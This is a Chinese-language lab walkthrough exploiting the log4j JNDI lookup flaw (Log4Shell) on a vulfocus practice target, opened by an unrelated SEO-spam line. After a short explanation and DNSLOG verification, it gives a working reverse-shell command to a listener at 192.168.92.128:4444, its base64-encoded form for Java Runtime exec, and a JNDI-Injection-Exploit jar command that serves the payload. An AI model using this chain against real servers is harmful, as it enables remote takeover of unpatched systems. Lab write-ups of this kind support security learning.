網站設置了刷新限制關鍵詞代發(fā)排名首頁
一、漏洞原理
log4j(log for java)是由Java編寫的可靠、靈活的日志框架,是Apache旗下的一個開源項目,使用Log4j,我們更加方便的記錄了日志信息,它不但能控制日志輸出的目的地,也能控制日志輸出的內容格式;通過定義不同的日志級別,可以更加精確的控制日志的生成過程,從而達到我們應用的需求;這一切,都得益于一個靈活的配置文件,并不需要我們更改代碼。
由于log4j提供了lookup機制,使日志中的${}也可進行執(zhí)行,在其中輸入JNDI的payload,即可進行執(zhí)行。
使用lookup進行jndi注入,通過ldap、rmi等使其訪問不安全的服務。
二、驗證漏洞
開啟vulfocus的靶場
進入指定url后點一下連接進行抓包,可以看到這次的輸入是get型
使用開源的dnslog:ceye.io
先url編碼
點擊發(fā)送,DNSLOG收到了訪問請求
成功驗證漏洞存在
三、反彈shell
反彈shell采取如圖結構:
監(jiān)聽機kali: 192.168.92.128
反彈shell:
bash -i >& /dev/tcp/192.168.92.128/4444 0>&1
由于runtime不會執(zhí)行管道,所以需要將反彈shell使用base64加密
bash -c "{echo,加密后文本}|{base64,-d}|{bash,-i}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjEyOC80NDQ0IDA+JjE=bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}"
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar是jndi注入工具,起到了上述危險服務器的作用。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjkyLjEyOC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "10.88.84.219"
此處必須復制無版本號的rmi,否則不會成功,理由未知。